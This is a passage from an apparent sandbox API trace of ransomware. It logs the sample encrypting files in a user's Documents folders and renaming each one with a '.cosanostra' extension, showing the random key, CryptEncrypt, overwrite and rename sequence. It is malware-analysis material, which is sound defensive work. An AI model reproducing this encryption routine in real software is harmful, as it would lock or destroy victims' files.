lpNumberOfBytesWritten=0x26ff784*=0x4, lpOverlapped=0x0) returned 1 [0089.905] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff784, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff784*=0x30, lpOverlapped=0x0) returned 1 [0089.905] CloseHandle (hObject=0x180) returned 1 [0089.905] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\v-D-FE.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\v-d-fe.xlsx"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\v-D-FE.xlsx.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\v-d-fe.xlsx.cosanostra")) returned 1 [0089.906] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff7c0 | out: pbBuffer=0x26ff7c0) returned 1 [0089.906] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff7b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff7b8*=0x30) returned 1 [0089.906] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UKr2f9hY.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ukr2f9hy.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0089.906] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UKr2f9hY.docx") returned 57 [0089.906] StrStrW (lpFirst="UKr2f9hY.docx", lpSrch=".txt") returned 0x0 [0089.907] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.907] WriteFile (in: hFile=0x180, lpBuffer=0x2fc2048*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff77c, lpOverlapped=0x0 | out: lpBuffer=0x2fc2048*, lpNumberOfBytesWritten=0x26ff77c*=0x2800, lpOverlapped=0x0) returned 1 [0089.907] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.907] WriteFile (in: hFile=0x180, lpBuffer=0x26ff7bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff77c, lpOverlapped=0x0 | out: lpBuffer=0x26ff7bc*, lpNumberOfBytesWritten=0x26ff77c*=0x4, lpOverlapped=0x0) returned 1 [0089.907] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff77c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff77c*=0x30, lpOverlapped=0x0) returned 1 [0089.907] CloseHandle (hObject=0x180) returned 1 [0089.908] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UKr2f9hY.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ukr2f9hy.docx"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\UKr2f9hY.docx.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ukr2f9hy.docx.cosanostra")) returned 1 [0089.908] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff7c0 | out: pbBuffer=0x26ff7c0) returned 1 [0089.908] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff7b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff7b8*=0x30) returned 1 [0089.908] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ufw yUb0RM3Gyuakz.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ufw yub0rm3gyuakz.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0089.908] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ufw yUb0RM3Gyuakz.docx") returned 66 [0089.908] StrStrW (lpFirst="Ufw yUb0RM3Gyuakz.docx", lpSrch=".txt") returned 0x0 [0089.909] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.909] WriteFile (in: hFile=0x180, lpBuffer=0x2fc2048*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff77c, lpOverlapped=0x0 | out: lpBuffer=0x2fc2048*, lpNumberOfBytesWritten=0x26ff77c*=0x2800, lpOverlapped=0x0) returned 1 [0089.909] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.909] WriteFile (in: hFile=0x180, lpBuffer=0x26ff7bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff77c, lpOverlapped=0x0 | out: lpBuffer=0x26ff7bc*, lpNumberOfBytesWritten=0x26ff77c*=0x4, lpOverlapped=0x0) returned 1 [0089.909] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff77c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff77c*=0x30, lpOverlapped=0x0) returned 1 [0089.909] CloseHandle (hObject=0x180) returned 1 [0089.909] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ufw yUb0RM3Gyuakz.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ufw yub0rm3gyuakz.docx"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\Ufw yUb0RM3Gyuakz.docx.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\ufw yub0rm3gyuakz.docx.cosanostra")) returned 1 [0089.910] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff7b8 | out: pbBuffer=0x26ff7b8) returned 1 [0089.910] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff7b0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff7b0*=0x30) returned 1 [0089.910] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\S2IZAuO2uvm3TVWA.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\s2izauo2uvm3tvwa.docx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0089.910] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\S2IZAuO2uvm3TVWA.docx") returned 65 [0089.910] StrStrW (lpFirst="S2IZAuO2uvm3TVWA.docx", lpSrch=".txt") returned 0x0 [0089.911] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.911] WriteFile (in: hFile=0x180, lpBuffer=0x2fc2048*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff774, lpOverlapped=0x0 | out: lpBuffer=0x2fc2048*, lpNumberOfBytesWritten=0x26ff774*=0x2800, lpOverlapped=0x0) returned 1 [0089.911] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.911] WriteFile (in: hFile=0x180, lpBuffer=0x26ff7b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff774, lpOverlapped=0x0 | out: lpBuffer=0x26ff7b4*, lpNumberOfBytesWritten=0x26ff774*=0x4, lpOverlapped=0x0) returned 1 [0089.911] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff774, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff774*=0x30, lpOverlapped=0x0) returned 1 [0089.911] CloseHandle (hObject=0x180) returned 1 [0089.912] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\S2IZAuO2uvm3TVWA.docx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\s2izauo2uvm3tvwa.docx"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\S2IZAuO2uvm3TVWA.docx.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\s2izauo2uvm3tvwa.docx.cosanostra")) returned 1 [0089.914] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff7b0 | out: pbBuffer=0x26ff7b0) returned 1 [0089.914] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff7a8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff7a8*=0x30) returned 1 [0089.914] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RtSI78TJrsI YoPelT\\VcgODPk8yfLQaDrELEmB\\xN6aUF0NS__jyYkL_.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rtsi78tjrsi yopelt\\vcgodpk8yflqadrelemb\\xn6auf0ns__jyykl_.odt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0089.914] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RtSI78TJrsI YoPelT\\VcgODPk8yfLQaDrELEmB\\xN6aUF0NS__jyYkL_.odt") returned 105 [0089.914] StrStrW (lpFirst="xN6aUF0NS__jyYkL_.odt", lpSrch=".txt") returned 0x0 [0089.915] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.915] WriteFile (in: hFile=0x180, lpBuffer=0x2fc2048*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff76c, lpOverlapped=0x0 | out: lpBuffer=0x2fc2048*, lpNumberOfBytesWritten=0x26ff76c*=0x2800, lpOverlapped=0x0) returned 1 [0089.915] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.915] WriteFile (in: hFile=0x180, lpBuffer=0x26ff7ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff76c, lpOverlapped=0x0 | out: lpBuffer=0x26ff7ac*, lpNumberOfBytesWritten=0x26ff76c*=0x4, lpOverlapped=0x0) returned 1 [0089.915] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff76c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff76c*=0x30, lpOverlapped=0x0) returned 1 [0089.915] CloseHandle (hObject=0x180) returned 1 [0089.915] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RtSI78TJrsI YoPelT\\VcgODPk8yfLQaDrELEmB\\xN6aUF0NS__jyYkL_.odt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rtsi78tjrsi yopelt\\vcgodpk8yflqadrelemb\\xn6auf0ns__jyykl_.odt"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RtSI78TJrsI YoPelT\\VcgODPk8yfLQaDrELEmB\\xN6aUF0NS__jyYkL_.odt.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rtsi78tjrsi yopelt\\vcgodpk8yflqadrelemb\\xn6auf0ns__jyykl_.odt.cosanostra")) returned 1 [0089.916] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff7a8 | out: pbBuffer=0x26ff7a8) returned 1 [0089.916] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff7a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff7a0*=0x30) returned 1 [0089.916] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RtSI78TJrsI YoPelT\\VcgODPk8yfLQaDrELEmB\\k5OLyXAx6SdDtrCM0.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rtsi78tjrsi yopelt\\vcgodpk8yflqadrelemb\\k5olyxax6sddtrcm0.ots"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0089.916] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RtSI78TJrsI YoPelT\\VcgODPk8yfLQaDrELEmB\\k5OLyXAx6SdDtrCM0.ots") returned 105 [0089.916] StrStrW (lpFirst="k5OLyXAx6SdDtrCM0.ots", lpSrch=".txt") returned 0x0 [0089.917] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.917] WriteFile (in: hFile=0x180, lpBuffer=0x2fc2048*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff764, lpOverlapped=0x0 | out: lpBuffer=0x2fc2048*, lpNumberOfBytesWritten=0x26ff764*=0x2800, lpOverlapped=0x0) returned 1 [0089.917] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.917] WriteFile (in: hFile=0x180, lpBuffer=0x26ff7a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff764, lpOverlapped=0x0 | out: lpBuffer=0x26ff7a4*, lpNumberOfBytesWritten=0x26ff764*=0x4, lpOverlapped=0x0) returned 1 [0089.917] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff764, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff764*=0x30, lpOverlapped=0x0) returned 1 [0089.917] CloseHandle (hObject=0x180) returned 1 [0089.917] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RtSI78TJrsI YoPelT\\VcgODPk8yfLQaDrELEmB\\k5OLyXAx6SdDtrCM0.ots" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rtsi78tjrsi yopelt\\vcgodpk8yflqadrelemb\\k5olyxax6sddtrcm0.ots"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RtSI78TJrsI YoPelT\\VcgODPk8yfLQaDrELEmB\\k5OLyXAx6SdDtrCM0.ots.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rtsi78tjrsi yopelt\\vcgodpk8yflqadrelemb\\k5olyxax6sddtrcm0.ots.cosanostra")) returned 1 [0089.918] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff7a8 | out: pbBuffer=0x26ff7a8) returned 1 [0089.918] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff7a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff7a0*=0x30) returned 1 [0089.918] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RtSI78TJrsI YoPelT\\VcgODPk8yfLQaDrELEmB\\Bpu1.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rtsi78tjrsi yopelt\\vcgodpk8yflqadrelemb\\bpu1.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0089.918] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RtSI78TJrsI YoPelT\\VcgODPk8yfLQaDrELEmB\\Bpu1.xlsx") returned 93 [0089.918] StrStrW (lpFirst="Bpu1.xlsx", lpSrch=".txt") returned 0x0 [0089.919] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.919] WriteFile (in: hFile=0x180, lpBuffer=0x2fc2048*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff764, lpOverlapped=0x0 | out: lpBuffer=0x2fc2048*, lpNumberOfBytesWritten=0x26ff764*=0x2800, lpOverlapped=0x0) returned 1 [0089.919] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.919] WriteFile (in: hFile=0x180, lpBuffer=0x26ff7a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff764, lpOverlapped=0x0 | out: lpBuffer=0x26ff7a4*, lpNumberOfBytesWritten=0x26ff764*=0x4, lpOverlapped=0x0) returned 1 [0089.919] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff764, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff764*=0x30, lpOverlapped=0x0) returned 1 [0089.919] CloseHandle (hObject=0x180) returned 1 [0089.919] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RtSI78TJrsI YoPelT\\VcgODPk8yfLQaDrELEmB\\Bpu1.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rtsi78tjrsi yopelt\\vcgodpk8yflqadrelemb\\bpu1.xlsx"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RtSI78TJrsI YoPelT\\VcgODPk8yfLQaDrELEmB\\Bpu1.xlsx.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rtsi78tjrsi yopelt\\vcgodpk8yflqadrelemb\\bpu1.xlsx.cosanostra")) returned 1 [0089.920] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff7a0 | out: pbBuffer=0x26ff7a0) returned 1 [0089.920] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff798*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff798*=0x30) returned 1 [0089.920] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RtSI78TJrsI YoPelT\\VcgODPk8yfLQaDrELEmB\\BeEVB61.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rtsi78tjrsi yopelt\\vcgodpk8yflqadrelemb\\beevb61.odp"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0089.920] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RtSI78TJrsI YoPelT\\VcgODPk8yfLQaDrELEmB\\BeEVB61.odp") returned 95 [0089.920] StrStrW (lpFirst="BeEVB61.odp", lpSrch=".txt") returned 0x0 [0089.921] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.921] WriteFile (in: hFile=0x180, lpBuffer=0x2fc2048*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff75c, lpOverlapped=0x0 | out: lpBuffer=0x2fc2048*, lpNumberOfBytesWritten=0x26ff75c*=0x2800, lpOverlapped=0x0) returned 1 [0089.921] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.921] WriteFile (in: hFile=0x180, lpBuffer=0x26ff79c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff75c, lpOverlapped=0x0 | out: lpBuffer=0x26ff79c*, lpNumberOfBytesWritten=0x26ff75c*=0x4, lpOverlapped=0x0) returned 1 [0089.921] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff75c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff75c*=0x30, lpOverlapped=0x0) returned 1 [0089.921] CloseHandle (hObject=0x180) returned 1 [0089.921] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RtSI78TJrsI YoPelT\\VcgODPk8yfLQaDrELEmB\\BeEVB61.odp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rtsi78tjrsi yopelt\\vcgodpk8yflqadrelemb\\beevb61.odp"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RtSI78TJrsI YoPelT\\VcgODPk8yfLQaDrELEmB\\BeEVB61.odp.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rtsi78tjrsi yopelt\\vcgodpk8yflqadrelemb\\beevb61.odp.cosanostra")) returned 1 [0089.921] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff7a0 | out: pbBuffer=0x26ff7a0) returned 1 [0089.922] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff798*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff798*=0x30) returned 1 [0089.922] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RtSI78TJrsI YoPelT\\VcgODPk8yfLQaDrELEmB\\2kNnK5q.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rtsi78tjrsi yopelt\\vcgodpk8yflqadrelemb\\2knnk5q.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0089.922] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RtSI78TJrsI YoPelT\\VcgODPk8yfLQaDrELEmB\\2kNnK5q.rtf") returned 95 [0089.922] StrStrW (lpFirst="2kNnK5q.rtf", lpSrch=".txt") returned 0x0 [0089.922] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.922] WriteFile (in: hFile=0x180, lpBuffer=0x2fc2048*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff75c, lpOverlapped=0x0 | out: lpBuffer=0x2fc2048*, lpNumberOfBytesWritten=0x26ff75c*=0x2800, lpOverlapped=0x0) returned 1 [0089.923] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.923] WriteFile (in: hFile=0x180, lpBuffer=0x26ff79c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff75c, lpOverlapped=0x0 | out: lpBuffer=0x26ff79c*, lpNumberOfBytesWritten=0x26ff75c*=0x4, lpOverlapped=0x0) returned 1 [0089.923] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff75c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff75c*=0x30, lpOverlapped=0x0) returned 1 [0089.923] CloseHandle (hObject=0x180) returned 1 [0089.923] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RtSI78TJrsI YoPelT\\VcgODPk8yfLQaDrELEmB\\2kNnK5q.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rtsi78tjrsi yopelt\\vcgodpk8yflqadrelemb\\2knnk5q.rtf"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RtSI78TJrsI YoPelT\\VcgODPk8yfLQaDrELEmB\\2kNnK5q.rtf.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rtsi78tjrsi yopelt\\vcgodpk8yflqadrelemb\\2knnk5q.rtf.cosanostra")) returned 1 [0089.924] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff798 | out: pbBuffer=0x26ff798) returned 1 [0089.924] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff790*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff790*=0x30) returned 1 [0089.924] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RtSI78TJrsI YoPelT\\pUjmcJ8o2wf IIEnb6.xls" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\rtsi78tjrsi yopelt\\pujmcj8o2wf iienb6.xls"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0089.924] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RtSI78TJrsI YoPelT\\pUjmcJ8o2wf IIEnb6.xls") returned 85 [0089.924] StrStrW (lpFirst="pUjmcJ8o2wf IIEnb6.xls", lpSrch=".txt") returned 0x0 [0089.924] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0xffffdc96, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0089.925] WriteFile (in: hFile=0x180, lpBuffer=0x2fc2048*, nNumberOfBytesToWrite=0x236a, lpNumberOfBytesWritten=0x26ff754, lpOverlapped=0x0 | out: lpBuffer=0x2fc2048*, lpNumberOfBytesWritten=0x26ff754*=0x236a, lpOverlapped=0x0) returned 1 [0089.925] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.925] WriteFile (in: hFile=0x180, lpBuffer=0x26ff794*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff754, lpOverlapped=0x0 | out: lpBuffer=0x26ff794*, lpNumberOfBytesWritten=0x26ff754*=0x4, lpOverlapped=0x0) returned 1 [0089.925] WriteFile (in: hFile=0x180, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff754, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff754*=0x30, lpOverlapped=0x0) returned 1 [0089.925] CloseHandle (hObject=0x180) returned 1 [0089.925] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\RtSI78TJrsI 